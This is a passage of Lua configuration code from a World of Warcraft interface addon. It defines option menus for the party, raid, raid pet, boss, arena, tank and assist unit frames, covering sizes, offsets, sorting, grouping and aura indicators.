= 30, step = 1, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "party", "petsGroup"); local tag = "[name:" .. value .. "]"; MOD:ChangeDBVar(tag, "tags", "party", "petsGroup"); end, } }, }, targetsGroup = { order = 900, type = 'group', name = L['Party Targets'], get = function(l)return SV.db.UnitFrames['party']['targetsGroup'][l[#l]]end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party", "targetsGroup"); MOD:SetGroupFrame('party') end, args = { enable = { type = 'toggle', name = L['Enable'], order = 1, }, width = { order = 3, name = L['Width'], type = 'range', min = 10, max = 500, step = 1, }, height = { order = 4, name = L['Height'], type = 'range', min = 10, max = 250, step = 1, }, anchorPoint = { type = 'select', order = 5, name = L['Anchor Point'], desc = L['What point to anchor to the frame you set to attach to.'], values = {TOPLEFT='TOPLEFT',LEFT='LEFT',BOTTOMLEFT='BOTTOMLEFT',RIGHT='RIGHT',TOPRIGHT='TOPRIGHT',BOTTOMRIGHT='BOTTOMRIGHT',CENTER='CENTER',TOP='TOP',BOTTOM='BOTTOM'}, }, xOffset = { order = 6, type = 'range', name = L['xOffset'], desc = L['An X offset (in pixels) to be used when anchoring new frames.'], min = - 500, max = 500, step = 1, }, yOffset = { order = 7, type = 'range', name = L['yOffset'], desc = L['An Y offset (in pixels) to be used when anchoring new frames.'], min = - 500, max = 500, step = 1, }, name_length = { order = 8, name = L["Name Length"], desc = L["TEXT_FORMAT_DESC"], type = "range", width = "full", min = 1, max = 30, step = 1, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "party", "targetsGroup"); local tag = "[name:" .. value .. "]"; MOD:ChangeDBVar(tag, "tags", "party", "targetsGroup"); end, } }, }, rdebuffs = { order = 700, type = 'group', name = L['Raid Debuffs'], get = function(l)return SV.db.UnitFrames['party']['rdebuffs'][l[#l]]end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party", "rdebuffs"); MOD:SetGroupFrame('party')end, args = { enable = { type = "toggle", name = L["Enable"], order = 1, }, configureToggle = { order = 2, type = "execute", name = L["Show Indicators"], func = function() local toggle = (not _G["SVUI_Party"].forceShowAuras) or nil MOD:ViewGroupFrames(_G["SVUI_Party"], true, toggle) MOD:SetGroupFrame('party') end, }, configureButton = { type = "execute", name = L["Configure Filters"], func = function() SVUIOptions:SetToFilterConfig("Raid") end, order = 3, }, size = { type = "range", name = L["Size"], order = 4, min = 8, max = 35, step = 1, }, fontSize = { type = "range", name = L["Font Size"], order = 5, min = 7, max = 22, step = 1, }, xOffset = { order = 6, type = "range", name = L["xOffset"], min = - 300, max = 300, step = 1, }, yOffset = { order = 7, type = "range", name = L["yOffset"], min = - 300, max = 300, step = 1, }, }, }, icons = SVUIOptions:SetIconConfigGroup(MOD.SetGroupFrame, 'party') }, }, raid = { name = "Raid", type = "group", order = 11, childGroups = "select", get = function(l) return SV.db.UnitFrames.raid[l[#l]] end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raid"); MOD:SetGroupFrame("raid") end, args = { enable = { type = "toggle", order = 1, name = L["Enable"], }, configureToggle = { order = 2, type = "execute", name = L["Display Frames"], func = function() local setForced = (_G["SVUI_Raid"].forceShow ~= true) or nil; MOD:ViewGroupFrames(_G["SVUI_Raid"], setForced) end, }, resetSettings = { type = "execute", order = 3, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("raid") SV:ResetAnchors("Raid Frames") end, }, spacer1 = { order = 4, name = "", type = "description", width = "full", }, spacer2 = { order = 5, name = "", type = "description", width = "full", }, general = { order = 6, type = "group", name = L["General Settings"], args = { commonGroup = { order = 1, name = L["Basic Options"], type = "group", guiInline = true, args = { rangeCheck = { order = 1, type = "toggle", name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], }, predict = { order = 2, type = "toggle", name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], }, threatEnabled = { order = 3, type = "toggle", name = L["Show Threat"], }, } }, layoutGroup = { order = 2, name = L["Layout Options"], type = "group", guiInline = true, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raid"); MOD:SetGroupFrame("raid", true) end, args = { common = { order = 1, name = L["General Layout"], type = "group", guiInline = true, args = { enable = { order = 1, name = L["Enable Grid Mode"], desc = L["Converts frames into symmetrical squares. Ideal for healers."], type = "toggle", get = function(key) return SV.db.UnitFrames.raid.grid.enable end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raid", "grid"); MOD:SetGroupFrame("raid", true); SV.Options.args.UnitFrames.args.commonGroup.args.raid.args.general.args.layoutGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "raid"); end, }, showPlayer = { order = 2, type = "toggle", name = L["Display Player"], desc = L["When true, always show player in raid frames."], get = function(l)return SV.db.UnitFrames.raid.showPlayer end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raid"); MOD:SetGroupFrame("raid", true) end, }, invertGroupingOrder = { order = 3, type = "toggle", name = L["Invert Grouping Order"], desc = L["Enabling this inverts the grouping order when the raid is not full, this will reverse the direction it starts from."], disabled = function() return not SV.db.UnitFrames.raid.customSorting end, }, } }, sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.raid.grid.enable, "raid"), sorting = { order = 3, name = L["Sorting"], type = "group", guiInline = true, args = { gRowCol = { order = 1, type = "range", name = L["Groups Per Row / Column"], min = 1, max = 8, step = 1, width = 'full', set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raid"); MOD:SetGroupFrame("raid") if(_G["SVUI_Raid"] and _G["SVUI_Raid"].isForced) then MOD:ViewGroupFrames(_G["SVUI_Raid"]) MOD:ViewGroupFrames(_G["SVUI_Raid"], true) end end, }, showBy = { order = 2, name = L["Growth Direction"], desc = L["Growth direction from the first unitframe."], type = "select", values = { DOWN_RIGHT = format(L["%s and then %s"], L["Down"], L["Right"]), DOWN_LEFT = format(L["%s and then %s"], L["Down"], L["Left"]), UP_RIGHT = format(L["%s and then %s"], L["Up"], L["Right"]), UP_LEFT = format(L["%s and then %s"], L["Up"], L["Left"]), RIGHT_DOWN = format(L["%s and then %s"], L["Right"], L["Down"]), RIGHT_UP = format(L["%s and then %s"], L["Right"], L["Up"]), LEFT_DOWN = format(L["%s and then %s"], L["Left"], L["Down"]), LEFT_UP = format(L["%s and then %s"], L["Left"], L["Up"]), }, }, sortMethod = { order = 3, name = L["Group By"], desc = L["Set the order that the group will sort."], type = "select", values = { ["CLASS"] = CLASS, ["ROLE"] = ROLE.."(Tanks, Healers, DPS)", ["ROLE_TDH"] = ROLE.."(Tanks, DPS, Healers)", ["ROLE_HDT"] = ROLE.."(Healers, DPS, Tanks)", ["ROLE_HTD"] = ROLE.."(Healers, Tanks, DPS)", ["NAME"] = NAME, ["MTMA"] = L["Main Tanks / Main Assist"], ["GROUP"] = GROUP, }, }, sortDir = { order = 4, name = L["Sort Direction"], desc = L["Defines the sort order of the selected sort method."], type = "select", values = { ["ASC"] = L["Ascending"], ["DESC"] = L["Descending"], }, }, spacer3 = { order = 5, type = "description", width = "full", name = " ", }, allowedGroup = { order = 6, name = L["Enabled Groups"], type = "group", guiInline = true, args = { showGroupNumber = { type = "toggle", order = 1, name = L["Show Group Number Icons"], width = 'full', }, one = { type = "toggle", order = 2, name = L["Group 1"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][1] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][1] = value; MOD:SetGroupFrame("raid") end, }, two = { type = "toggle", order = 3, name = L["Group 2"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][2] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][2] = value; MOD:SetGroupFrame("raid") end, }, three = { type = "toggle", order = 4, name = L["Group 3"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][3] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][3] = value; MOD:SetGroupFrame("raid") end, }, four = { type = "toggle", order = 5, name = L["Group 4"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][4] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][4] = value; MOD:SetGroupFrame("raid") end, }, five = { type = "toggle", order = 6, name = L["Group 5"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][5] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][5] = value; MOD:SetGroupFrame("raid") end, }, six = { type = "toggle", order = 7, name = L["Group 6"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][6] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][6] = value; MOD:SetGroupFrame("raid") end, }, seven = { type = "toggle", order = 8, name = L["Group 7"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][7] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][7] = value; MOD:SetGroupFrame("raid") end, }, eight = { type = "toggle", order = 9, name = L["Group 8"], get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][8] end, set = function(key, value) SV.db.UnitFrames.raid["allowedGroup"][8] = value; MOD:SetGroupFrame("raid") end, }, }, }, } } }, }, } }, misc = SVUIOptions:SetMiscConfigGroup(true, MOD.SetGroupFrame, "raid"), health = SVUIOptions:SetHealthConfigGroup(true, MOD.SetGroupFrame, "raid"), power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetGroupFrame, "raid"), name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, "raid"), buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", true, MOD.SetGroupFrame, "raid"), debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", true, MOD.SetGroupFrame, "raid"), auraWatch = { order = 600, type = "group", name = L["Aura Watch"], args = { enable = { type = "toggle", name = L["Enable"], order = 1, get = function(l)return SV.db.UnitFrames.raid.auraWatch.enable end, set = function(l, m)MOD:ChangeDBVar(m, "enable", "raid", "auraWatch");MOD:SetGroupFrame("raid")end, }, size = { type = "range", name = L["Size"], desc = L["Size of the indicator icon."], order = 2, min = 4, max = 15, step = 1, get = function(l)return SV.db.UnitFrames.raid.auraWatch.size end, set = function(l, m)MOD:ChangeDBVar(m, "size", "raid", "auraWatch");MOD:SetGroupFrame("raid")end, }, configureButton = { type = "execute", name = L["Configure Auras"], func = function()SVUIOptions:SetToFilterConfig("BuffWatch")end, order = 3, }, }, }, rdebuffs = { order = 800, type = "group", name = L["Raid Debuffs"], get = function(l)return SV.db.UnitFrames.raid["rdebuffs"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "raid", "rdebuffs");MOD:SetGroupFrame("raid")end, args = { enable = { type = "toggle", name = L["Enable"], order = 1, }, configureToggle = { order = 2, type = "execute", name = L["Show Indicators"], func = function() local toggle = (not _G["SVUI_Raid"].forceShowAuras) or nil MOD:ViewGroupFrames(_G["SVUI_Raid"], true, toggle) MOD:SetGroupFrame("raid") end, }, configureButton = { type = "execute", name = L["Configure Filters"], func = function()SVUIOptions:SetToFilterConfig("Raid")end, order = 3, }, size = { type = "range", name = L["Size"], order = 4, min = 8, max = 35, step = 1, }, fontSize = { type = "range", name = L["Font Size"], order = 5, min = 7, max = 22, step = 1, }, xOffset = { order = 6, type = "range", name = L["xOffset"], min = - 300, max = 300, step = 1, }, yOffset = { order = 7, type = "range", name = L["yOffset"], min = - 300, max = 300, step = 1, }, }, }, icons = SVUIOptions:SetIconConfigGroup(MOD.SetGroupFrame, "raid"), }, }, raidpet = { order = 12, type = 'group', name = L['Raid Pets'], childGroups = "select", get = function(l) return SV.db.UnitFrames['raidpet'][l[#l]] end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raidpet"); MOD:SetGroupFrame('raidpet'); end, args = { enable = { type = 'toggle', order = 1, name = L['Enable'], }, configureToggle = { order = 2, type = 'execute', name = L['Display Frames'], func = function() MOD:ViewGroupFrames(SVUI_Raidpet, SVUI_Raidpet.forceShow ~= true or nil); end, }, resetSettings = { type = 'execute', order = 3, name = L['Restore Defaults'], func = function(l, m) MOD:ResetUnitOptions('raidpet'); SV:ResetAnchors('Raid Pet Frames'); MOD:SetGroupFrame('raidpet', true); end, }, spacer1 = { order = 4, name = "", type = "description", width = "full", }, spacer2 = { order = 5, name = "", type = "description", width = "full", }, general = { order = 6, type = "group", name = L["General Settings"], args = { commonGroup = { order = 1, name = L["Basic Options"], type = "group", guiInline = true, args = { rangeCheck = { order = 1, type = "toggle", name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], }, predict = { order = 2, type = "toggle", name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], }, threatEnabled = { order = 3, type = "toggle", name = L["Show Threat"], }, } }, layoutGroup = { order = 2, name = L["Layout Options"], type = "group", guiInline = true, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raidpet"); MOD:SetGroupFrame("raidpet", true) end, args = { common = { order = 1, name = L["General Layout"], type = "group", guiInline = true, args = { enable = { order = 1, name = L["Enable Grid Mode"], desc = L["Converts frames into symmetrical squares. Ideal for healers."], type = "toggle", get = function(key) return SV.db.UnitFrames["raidpet"].grid.enable end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raidpet", "grid"); MOD:SetGroupFrame("raidpet", true); SV.Options.args.UnitFrames.args.commonGroup.args.raidpet.args.general.args.layoutGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "raidpet"); end, }, invertGroupingOrder = { order = 2, type = "toggle", name = L["Invert Grouping Order"], desc = L["Enabling this inverts the grouping order."], disabled = function() return not SV.db.UnitFrames["raidpet"].customSorting end, }, } }, sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.raidpet.grid.enable, "raidpet"), sorting = { order = 3, name = L["Sorting"], type = "group", guiInline = true, args = { gRowCol = { order = 1, type = "range", name = L["Groups Per Row / Column"], min = 1, max = 8, step = 1, width = 'full', set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raidpet"); MOD:SetGroupFrame("raidpet") if(_G["SVUI_Raid"] and _G["SVUI_Raid"].isForced) then MOD:ViewGroupFrames(_G["SVUI_Raid"]) MOD:ViewGroupFrames(_G["SVUI_Raid"], true) end end, }, showBy = { order = 2, name = L["Growth Direction"], desc = L["Growth direction from the first unitframe."], type = "select", values = { DOWN_RIGHT = format(L["%s and then %s"], L["Down"], L["Right"]), DOWN_LEFT = format(L["%s and then %s"], L["Down"], L["Left"]), UP_RIGHT = format(L["%s and then %s"], L["Up"], L["Right"]), UP_LEFT = format(L["%s and then %s"], L["Up"], L["Left"]), RIGHT_DOWN = format(L["%s and then %s"], L["Right"], L["Down"]), RIGHT_UP = format(L["%s and then %s"], L["Right"], L["Up"]), LEFT_DOWN = format(L["%s and then %s"], L["Left"], L["Down"]), LEFT_UP = format(L["%s and then %s"], L["Left"], L["Up"]), }, }, sortMethod = { order = 3, name = L["Group By"], desc = L["Set the order that the group will sort."], type = "select", values = { ["CLASS"] = CLASS, ["ROLE"] = ROLE.."(Tanks, Healers, DPS)", ["ROLE_TDH"] = ROLE.."(Tanks, DPS, Healers)", ["ROLE_HDT"] = ROLE.."(Healers, DPS, Tanks)", ["ROLE_HTD"] = ROLE.."(Healers, Tanks, DPS)", ["NAME"] = NAME, ["MTMA"] = L["Main Tanks / Main Assist"], ["GROUP"] = GROUP, }, }, sortDir = { order = 4, name = L["Sort Direction"], desc = L["Defines the sort order of the selected sort method."], type = "select", values = { ["ASC"] = L["Ascending"], ["DESC"] = L["Descending"], }, }, } } }, }, } }, misc = SVUIOptions:SetMiscConfigGroup(true, MOD.SetGroupFrame, 'raidpet'), health = SVUIOptions:SetHealthConfigGroup(true, MOD.SetGroupFrame, 'raidpet'), name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, 'raidpet'), buffs = SVUIOptions:SetAuraConfigGroup(true, 'buffs', true, MOD.SetGroupFrame, 'raidpet'), debuffs = SVUIOptions:SetAuraConfigGroup(true, 'debuffs', true, MOD.SetGroupFrame, 'raidpet'), auraWatch = { order = 600, type = 'group', name = L['Aura Watch'], args = { enable = { type = "toggle", name = L["Enable"], order = 1, get = function(l)return SV.db.UnitFrames["raidpet"].auraWatch.enable end, set = function(l, m)MOD:ChangeDBVar(m, "enable", "raidpet", "auraWatch");MOD:SetGroupFrame('raidpet')end, }, size = { type = "range", name = L["Size"], desc = L["Size of the indicator icon."], order = 2, min = 4, max = 15, step = 1, get = function(l)return SV.db.UnitFrames["raidpet"].auraWatch.size end, set = function(l, m)MOD:ChangeDBVar(m, "size", "raidpet", "auraWatch");MOD:SetGroupFrame('raidpet')end, }, configureButton = { type = 'execute', name = L['Configure Auras'], func = function()SVUIOptions:SetToFilterConfig('BuffWatch')end, order = 3, }, }, }, rdebuffs = { order = 700, type = 'group', name = L['Raid Debuffs'], get = function(l)return SV.db.UnitFrames['raidpet']['rdebuffs'][l[#l]]end, set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raidpet", "rdebuffs"); MOD:SetGroupFrame('raidpet')end, args = { enable = { type = "toggle", name = L["Enable"], order = 1, }, configureToggle = { order = 2, type = "execute", name = L["Show Indicators"], func = function() local toggle = (not _G["SVUI_RaidPet"].forceShowAuras) or nil MOD:ViewGroupFrames(_G["SVUI_RaidPet"], true, toggle) MOD:SetGroupFrame('raidpet') end, }, configureButton = { type = "execute", name = L["Configure Filters"], func = function() SVUIOptions:SetToFilterConfig("Raid") end, order = 3, }, size = { type = "range", name = L["Size"], order = 4, min = 8, max = 35, step = 1, }, fontSize = { type = "range", name = L["Font Size"], order = 5, min = 7, max = 22, step = 1, }, xOffset = { order = 6, type = "range", name = L["xOffset"], min = - 300, max = 300, step = 1, }, yOffset = { order = 7, type = "range", name = L["yOffset"], min = - 300, max = 300, step = 1, }, }, }, icons = SVUIOptions:SetIconConfigGroup(MOD.SetGroupFrame, 'raidpet'), }, }, boss = { name = L["Boss"], type = "group", order = 13, childGroups = "select", get = function(l)return SV.db.UnitFrames["boss"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "boss");MOD:SetEnemyFrame("boss", MAX_BOSS_FRAMES)end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, displayFrames = {type = "execute", order = 2, name = L["Display Frames"], func = function()MOD:ViewEnemyFrames("boss", 4)end}, resetSettings = {type = "execute", order = 3, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("boss")SV:ResetAnchors("Boss Frames")end}, spacer1 = { order = 4, name = "", type = "description", width = "full", }, spacer2 = { order = 5, name = "", type = "description", width = "full", }, commonGroup = { order = 6, type = "group", name = L["General Settings"], args = { baseGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { showBy = {order = 1, name = L["Growth Direction"], type = "select", values = {["UP"] = L["Up"], ["DOWN"] = L["Down"]}}, spacer1 = { order = 2, type = "description", name = "", }, rangeCheck = {order = 3, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle"}, hideonnpc = {type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["boss"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["boss"]["power"].hideonnpc = m;MOD:SetEnemyFrame("boss")end}, threatEnabled = {type = "toggle", order = 5, name = L["Show Threat"]} } }, sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = { width = { order = 1, name = L["Width"], type = "range", width = "full", min = 10, max = 500, step = 1, }, height = { order = 2, name = L["Height"], type = "range", width = "full", min = 10, max = 500, step = 1 }, } }, } }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), name = SVUIOptions:SetNameConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", false, MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES), icons = SVUIOptions:SetIconConfigGroup(MOD.SetEnemyFrame, "boss", MAX_BOSS_FRAMES) } }, arena = { name = L["Arena"], type = "group", order = 14, childGroups = "select", get = function(l)return SV.db.UnitFrames["arena"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "arena");MOD:SetEnemyFrame("arena", 5)end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, displayFrames = {type = "execute", order = 2, name = L["Display Frames"], func = function()MOD:ViewEnemyFrames("arena", 5)end}, resetSettings = {type = "execute", order = 3, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("arena")SV:ResetAnchors("Arena Frames")end}, spacer1 = { order = 4, name = "", type = "description", width = "full", }, spacer2 = { order = 5, name = "", type = "description", width = "full", }, commonGroup = { order = 6, type = "group", name = L["General Settings"], args = { baseGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { showBy = {order = 1, name = L["Growth Direction"], type = "select", values = {["UP"] = L["Up"], ["DOWN"] = L["Down"]}}, spacer1 = { order = 2, type = "description", name = "", }, predict = {order = 3, name = L["Heal Prediction"], desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."], type = "toggle"}, rangeCheck = {order = 4, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle"}, hideonnpc = {type = "toggle", order = 5, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["arena"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["arena"]["power"].hideonnpc = m;MOD:SetEnemyFrame("arena")end}, threatEnabled = {type = "toggle", order = 6, name = L["Show Threat"]} } }, sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = { width = { order = 1, name = L["Width"], type = "range", width = "full", min = 10, max = 500, step = 1, }, height = { order = 2, name = L["Height"], type = "range", width = "full", min = 10, max = 500, step = 1 }, } }, pvp = { order = 3, guiInline = true, type = "group", name = L["PVP Indicators"], args = { enable = { type = "toggle", order = 1, name = L["Enable"], get = function(l)return SV.db.UnitFrames.arena.pvp.enable end, set = function(l, m)MOD:ChangeDBVar(m, "enable", "arena", "pvp");MOD:SetEnemyFrame("arena", 5)end, }, trinketGroup = { order = 2, guiInline = true, type = "group", name = L["Trinkets"], get = function(l)return SV.db.UnitFrames.arena.pvp[l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "arena", "pvp");MOD:SetEnemyFrame("arena", 5)end, disabled = function() return not SV.db.UnitFrames.arena.pvp.enable end, args = { trinketPosition = { type = "select", order = 1, name = L["Position"], values = { ["LEFT"] = L["Left"], ["RIGHT"] = L["Right"] } }, trinketSize = { order = 2, type = "range", name = L["Size"], min = 10, max = 60, step = 1 }, trinketX = { order = 3, type = "range", name = L["xOffset"], min = -60, max = 60, step = 1 }, trinketY = { order = 4, type = "range", name = L["yOffset"], min = -60, max = 60, step = 1 } } }, specGroup = { order = 3, guiInline = true, type = "group", name = L["Enemy Specs"], get = function(l)return SV.db.UnitFrames.arena.pvp[l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "arena", "pvp");MOD:SetEnemyFrame("arena", 5)end, disabled = function() return not SV.db.UnitFrames.arena.pvp.enable end, args = { specPosition = { type = "select", order = 1, name = L["Position"], values = { ["LEFT"] = L["Left"], ["RIGHT"] = L["Right"] } }, specSize = { order = 2, type = "range", name = L["Size"], min = 10, max = 60, step = 1 }, specX = { order = 3, type = "range", name = L["xOffset"], min = -60, max = 60, step = 1 }, specY = { order = 4, type = "range", name = L["yOffset"], min = -60, max = 60, step = 1 } } } } }, } }, misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetEnemyFrame, "arena", 5), health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetEnemyFrame, "arena", 5), power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetEnemyFrame, "arena", 5), name = SVUIOptions:SetNameConfigGroup(MOD.SetEnemyFrame, "arena", 5), portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetEnemyFrame, "arena", 5), buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetEnemyFrame, "arena", 5), debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetEnemyFrame, "arena", 5), castbar = SVUIOptions:SetCastbarConfigGroup(MOD.SetEnemyFrame, "arena", 5) } }, tank = { name = L["Tank"], type = "group", order = 15, childGroups = "select", get = function(l)return SV.db.UnitFrames["tank"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "tank");MOD:SetGroupFrame("tank")end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("tank")end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = "group", name = L["General Layout"], args = { enable = { order = 1, name = L["Enable Grid Mode"], desc = L["Converts frames into symmetrical squares. Ideal for healers."], type = "toggle", get = function(key) return SV.db.UnitFrames["tank"].grid.enable end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "tank", "grid"); MOD:SetGroupFrame("tank"); SV.Options.args.UnitFrames.args.commonGroup.args.tank.args.commonGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "tank"); end, }, invertGroupingOrder = { order = 2, type = "toggle", name = L["Invert Grouping Order"], desc = L["Enabling this inverts the grouping order."], disabled = function() return not SV.db.UnitFrames["tank"].customSorting end, }, sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.tank.grid.enable, "tank"), } }, name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, "tank"), targetsGroup = { type = "group", name = L["Tank Target"], get = function(l)return SV.db.UnitFrames["tank"]["targetsGroup"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "tank", "targetsGroup");MOD:SetGroupFrame("tank")end, args = { enable = {type = "toggle", name = L["Enable"], order = 1}, width = {order = 2, name = L["Width"], type = "range", min = 10, max = 500, step = 1}, height = {order = 3, name = L["Height"], type = "range", min = 10, max = 250, step = 1}, anchorPoint = {type = "select", order = 5, name = L["Anchor Point"], desc = L["What point to anchor to the frame you set to attach to."], values = {TOPLEFT = "TOPLEFT", LEFT = "LEFT", BOTTOMLEFT = "BOTTOMLEFT", RIGHT = "RIGHT", TOPRIGHT = "TOPRIGHT", BOTTOMRIGHT = "BOTTOMRIGHT", CENTER = "CENTER", TOP = "TOP", BOTTOM = "BOTTOM"}}, xOffset = {order = 6, type = "range", name = L["xOffset"], desc = L["An X offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1}, yOffset = {order = 7, type = "range", name = L["yOffset"], desc = L["An Y offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1} } } } }, assist = { name = L["Assist"], type = "group", order = 16, childGroups = "select", get = function(l)return SV.db.UnitFrames["assist"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "assist");MOD:SetGroupFrame("assist")end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, resetSettings = {type = "execute", order = 2, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("assist")end}, spacer1 = { order = 3, name = "", type = "description", width = "full", }, spacer2 = { order = 4, name = "", type = "description", width = "full", }, commonGroup = { order = 5, type = "group", name = L["General Layout"], args = { enable = { order = 1, name = L["Enable Grid Mode"], desc = L["Converts frames into symmetrical squares. Ideal for healers."], type = "toggle", get = function(key) return SV.db.UnitFrames["assist"].grid.enable end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], "assist", "grid"); MOD:SetGroupFrame("assist"); SV.Options.args.UnitFrames.args.commonGroup.args.assist.args.commonGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "assist"); end, }, invertGroupingOrder = { order = 2, type = "toggle", name = L["Invert Grouping Order"], desc = L["Enabling this inverts the grouping order."], disabled = function() return not SV.db.UnitFrames["assist"].customSorting end, }, sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.assist.grid.enable, "assist"), } }, name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, "assist"), targetsGroup = { type = "group", name = L["Assist Target"], get = function(l)return SV.db.UnitFrames["assist"]["targetsGroup"][l[#l]]end, set = function(l, m)MOD:ChangeDBVar(m, l[#l], "assist", "targetsGroup");MOD:SetGroupFrame("assist")end, args = { enable = {type = "toggle", name = L["Enable"], order = 1}, width = {order = 2, name = L["Width"], type = "range", min = 10, max = 500, step = 1}, height = {order = 3, name = L["Height"], type = "range", min = 10, max = 250, step = 1}, anchorPoint = {type = "select", order = 5, name = L["Anchor Point"], desc = L["What point to anchor to the frame you set to attach to."], values = {TOPLEFT = "TOPLEFT", LEFT = "LEFT", BOTTOMLEFT = "BOTTOMLEFT", RIGHT = "RIGHT", TOPRIGHT = "TOPRIGHT", BOTTOMRIGHT = "BOTTOMRIGHT", CENTER = "CENTER", TOP = "TOP", BOTTOM = 